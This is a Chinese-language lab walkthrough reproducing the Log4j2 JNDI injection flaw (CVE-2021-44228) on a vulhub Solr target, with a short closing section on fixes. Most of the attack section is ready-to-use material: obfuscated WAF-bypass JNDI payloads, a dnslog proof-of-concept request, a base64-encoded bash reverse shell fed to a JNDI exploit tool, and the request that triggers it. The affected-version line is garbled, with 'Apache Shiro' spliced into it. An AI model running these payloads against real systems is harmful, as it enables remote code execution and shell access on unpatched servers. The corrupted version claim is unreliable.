Apache Log4j2

影响范围

​ Apache Log4j 2.x<★Apache Shiro★=2.14.1

受影响的应用及组件

​ Spring-Boot-Strater-log4j2、Apache Solr、Apache Flink、Apache Druid

原理

Apache Log4j 是 Apache 的一个开源项目,Apache Log4j2是一个基于Java的日志记录工具。该工具重写了Log4j框架,并且引入了大量丰富的特性。我们可以控制日志信息输送的目的地为控制台、文件、GUI组件等,通过定义每一条日志信息的级别,能够更加细致地控制日志的生成过程。该日志框架被大量用于业务系统开发,用来记录日志信息。

大概的执行逻辑

​ 黑客在自己的客户端启动一个带有恶意代码的 rmi 服务,通过服务端的
log4j 的漏洞,向服务端的 jndi context lookup 的时候连接自己的 rmi 服务
器,服务端连接 rmi 服务器执行 lookup 的时候会通过 rmi 查询到该地址指
向的引用并且本地实例化这个类,所以在类中的构造方法或者静态代码块中
写入逻辑,就会在服务端(jndi rmi 过程中的客户端)实例化的时候执行到
这段逻辑,导致 jndi 注入。

waf绕过

1
2
3
4
5
6
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://xxx.dnslog.cn/poc}
${${::-j}ndi:rmi://xxx.dnslog.cn/poc}
${jndi:rmi://xxx.dnslog.cn/poc}
${${lower:jndi}:${lower:rmi}://xxx.dnslog.cn/poc}
${${lower:${lower:jndi}}:${lower:rmi}://xxx.dnslog.cn/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://xxx.dnslog.cn/poc}

复现环境

靶场使用 :vulhub中CVE-2021-44228容器

靶机IP:192.168.2.108

攻击机IP(kali):192.168.2.110

复现过程

开启环境

启动docker环境后访问192.168.2.108:8983,成功访问证明环境启动成功

image-20230807111635702

验证漏洞

访问http://192.168.2.108:8983/solr/admin/cores?action=1这个接口,漏洞点在这个接口,我们使用dnslog平台,来对此漏洞进行验证,如果存在漏洞则dnslog会成功回显java版本信息,构造poc如下:

1
http://192.168.2.108:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.hbpbem.dnslog.cn}

image-20230807112530449

成功验证java版本,存在漏洞,进行漏洞攻击获取shell

漏洞利用

这里使用JNDI注入工具,在攻击机中使用,构造反弹shell的paylod

1
bash -i > /dev/tcp/192.168.2.110/6969 0>&1

将payload进行bash64编码,构造工具使用语句

1
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C bash -c " 	{echo,YmFzaCAtaSA+IC9kZXYvdGNwLzE5Mi4xNjguMi4xMTAvNjk2OSAwPiYx}|{base64,-d}|{bash,-i}" -A 192.168.2.110

image-20230807114024362

根据我们之前获取的java版本,可以得知我们此处应该使用JDK1,.8的注入语句,于是我们访问

http://192.168.2.108:8983/solr/admin/cores?action=${jndi:rmi://192.168.2.110:1099/vlr3fx}

并在攻击机中使用nc监听6969端口获取shell(监听端口为payload中设置端口)

image-20230807114733896

修复建议

1
2
3
4
5
1、添加 jvm 启动参数-D log4j2.formatMsgNoLookups=true
2、在应用 classpath 下添加 log4j2.component.properties 配置文件,文件内
容为 1 中的指令。
3、JDK 使用 11.0.1、8u191、7u201、6u211 及以上的高版本;
4、部署使用第三方防火墙产品进行安全防护。